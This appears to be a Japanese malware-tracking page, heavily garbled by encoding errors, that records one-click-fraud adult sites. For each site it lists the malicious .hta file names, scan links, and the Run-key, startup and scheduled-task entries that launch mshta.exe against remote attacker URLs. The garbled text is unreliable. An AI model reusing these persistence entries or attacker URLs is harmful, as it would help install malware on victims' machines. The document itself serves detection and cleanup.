http://av-porn.info/set_inf2.php?cccid=KpUzK5fptCxTWTYXRidhYP5nhatuiC8N -------------------------------------------------------- http://olive-porn.info/ File name �uMovieID_WgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c.hta�v http://www.virustotal.com/file-scan/report.html?id=2e9fddcae84fcb8670fc832ff939495c91ceb63b5c20de445439b8ff905af494-1325763145 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [SystemBootWgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c] C:\Users\Cerberus\UserProfile\SystemBoot.lnk O4 - HKCU\..\Run: [RegWriteWgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c] C:\Users\Cerberus\SoftRecovery\RegWrite.lnk O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe The link place of "RegWrite" C:\Windows\System32\mshta.exe http://olive-porn.info/set_inf2.php?cccid=WgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c The link place of "SystemBoot" C:\Users\Cerberus\UserProfile\htmlapp.exe http://olive-porn.info/reg2.php?cccid=WgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c Startup on Registory HKCU:Run RegWriteWgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c C:\Users\Cerberus\SoftRecovery\RegWrite.lnk HKCU:Run SystemBootWgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c C:\Users\Cerberus\UserProfile\SystemBoot.lnk Startup User RegWrite.lnk C:\Windows\System32\mshta.exe Task Scheduler library�@ C:\Windows\system32\mshta.exe http://olive-porn.info/set_inf2.php?cccid=WgWKURT2JdtOC6amvoWI0Z1hxTAQAI0c

�G�b�`��

2011-12-26T18:25+09:00

��N��E�F�A�� http://cynical.boronplanet.net/ http://boronplanet.net/ http://*.boronplanet.net/ File name �uahegaow_1324888643.hta�v http://www.virustotal.com/file-scan/report.html?id=0aa8310d4dc613a2d722696d3216a91924386820344bcfacfa62ae02bf9e71db-1324888294 C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603] C:\Users\Cerberus\AppData\Roaming\Macromedia\peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603.vbs Startup on Registor HKCU:Run peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603 C:\Users\Cerberus\AppData\Roaming\Macromedia\peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603.vbs Task Scheduler library C:\Users\Cerberus\AppData\Roaming\Macromedia\peacev_d0260443d08be7dde70485bc1712a14f14e8eeabc8c21603.vbs

�A�_��g��

2011-12-23T22:14+09:00

��N��E�F�A�� http://comet.greatbearlily.net/ http://greatbearlily.net/ http://*.greatbearlily.net/ File name �uerobody_1324639546.hta�v http://r.virscan.org/8344324a1eda8b3da95ee3ce50704a8b C:\Windows\system32\mshta.exe O4 - HKCU\..\Run: [onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4] C:\Users\Cerberus\AppData\Roaming\Media Center Programs\onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4.vbs Startup on Registory KCU:Run onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4 C:\Users\Cerberus\AppData\Roaming\Media Center Programs\onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4.vbs Task Scheduler library C:\Users\Cerberus\AppData\Roaming\Media Center Programs\onanycrazy_b770db4a5b9f696956cb90f1c46e1dd7fcc466ab08e7e4b4.vbs

��Ă��

2011-12-22T11:56+09:00

http://�@www.pomdora.com/ ��L�T�C�g�̏�񂪖��̂Ŏ��₳��Ă�� x��J�E��g�_�E��̏��Ȃ��|�b�v�A�b�v��o�܂�� i��Ɋւ��Ă͍폜�c�[��g�p��ď��܂��j ��N��\�T�C�g�Ȃ�ł��傤�� 4�b�ŏI��ł��o�܂�� {�ʂŒm��Ȃ��T�C�g��g��񂶂�Ȃ��ƌ��܂�� ̂܂ܖ��ߍ��ő��v�ȃT�C�g�Ȃ̂��ǂ��Ă��ΗL��ł�

�����N�����\�f����

�A�_���g�T�C�g

ADULT COLLECTION

��΂�

�A�_���g

���[�r�[�S�[�S�[

ADULT

ADULT COLLECTION

MOVIE FIRE

�p�\�R���̉�ʂ̉摜������

�A�_���g�T�C�g

ADULT COLLECTION

Japanese Movies

EROSTAR

Japanese Movies

�Z�b�N�X����EROS

WMV

JPPorn

�G�b�`����

�A�_���g������

�����Ă�������

��N��\�f��

�A�_��g�T�C�g

�A�_��g

��[�r�[�S�[�S�[

�p�\�R��̉�ʂ̉摜��

�A�_��g�T�C�g

�Z�b�N�X��EROS

�G�b�`��

�A�_��g��

��Ă��